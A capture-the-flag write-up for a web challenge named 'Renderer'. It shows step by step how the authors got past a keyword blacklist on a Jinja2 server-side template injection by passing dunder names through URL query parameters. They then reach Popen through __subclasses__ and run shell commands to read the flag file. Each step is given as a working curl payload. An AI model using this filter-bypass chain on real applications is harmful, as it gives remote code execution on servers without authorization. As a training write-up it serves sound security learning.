Renderer

[Web] Renderer - 250

We are given with the link to to https://renderer.project-ag.org

Renderer Home Page

It asks for an input and prints your input back. Using the context of the challenge’s title, we tried a simple SSTI payload 7. Screenshot below shows that it’s actually vulnerable.

Renderer Home Page

We thought that using the usual, we would be able to get code execution but there’s some blacklisting happening on the backend and we’re receiving the error if we try the keywords class, config, or even just __ (double underscore).

Dashboard HTML

With this in mind, we thought that we have to bypass the blacklisting. We tried different keywords and writeups that bypasses SSTI and we found this writeup that has a bypass method. It uses the {% print(request) %} as the starting point for the payload build up. We tried using that payload and it worked

Dashboard flag

We proceeded to send payload {% print(request.args.test1) %} and then we set test1=aaaaaa in the URL. The payload will print test1 content.

curl 'https://renderer.project-ag.org/render?test1=aaaaa' -X POST --data 'name={% print(request.args.test1) %}&message=aaa

Dashboard flag

And as can be seen from the screenshot above, it manages to print the test1 content which is aaaaa. The next thing we have to do is to buildup request.__class__.__mro__[3].__subclasses__() and from there, access Popen to execute code.

We first tried to build is request.__class__. We can do this by setting up payload:

curl 'https://renderer.project-ag.org/render?test1=__class__' -X POST --data 'name={% print(request|attr(request.args.test1)) %}&message=aaa

Dashboard flag

Since it worked, turns out that the non-POST parameters are not being checked within the blacklisting. Next is accessing request.__class__.__mro__:

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__' -X POST --data 'name={% print(request|attr(request.args.test1)|attr(request.args.test2)) %}&message=aaa

Dashboard flag

Next is accessing request.__class__.__mro__[3].__subclasses__:

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print(((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3)) %}&message=aaa

Dashboard flag

Next is accessing request.__class__.mro__[3].__subclassess__();

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))()) %}&message=aaa

Dashboard flag

Then we have to find the index of Popen class. Turns out it’s in 503:

Dashboard flag

Next is accessing request.__class__.mro__[3].__subclassess__()[503];

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print(((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503]) %}&message=aaa

Dashboard flag

Now we just have to execute the Popen.

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503])(["id"], stdout=-1).communicate()[0]) %}&message=aaa

And then we have managed to execute code:

Dashboard flag

Then we grabbed the flag by cat-ing /tmp/flag.txt

curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503])(["cat","/tmp/flag.txt"], stdout=-1).communicate()[0]) %}&message=aaa

Dashboard flag

me

I am Jethro Magbanua (FriedTempura / Altelus).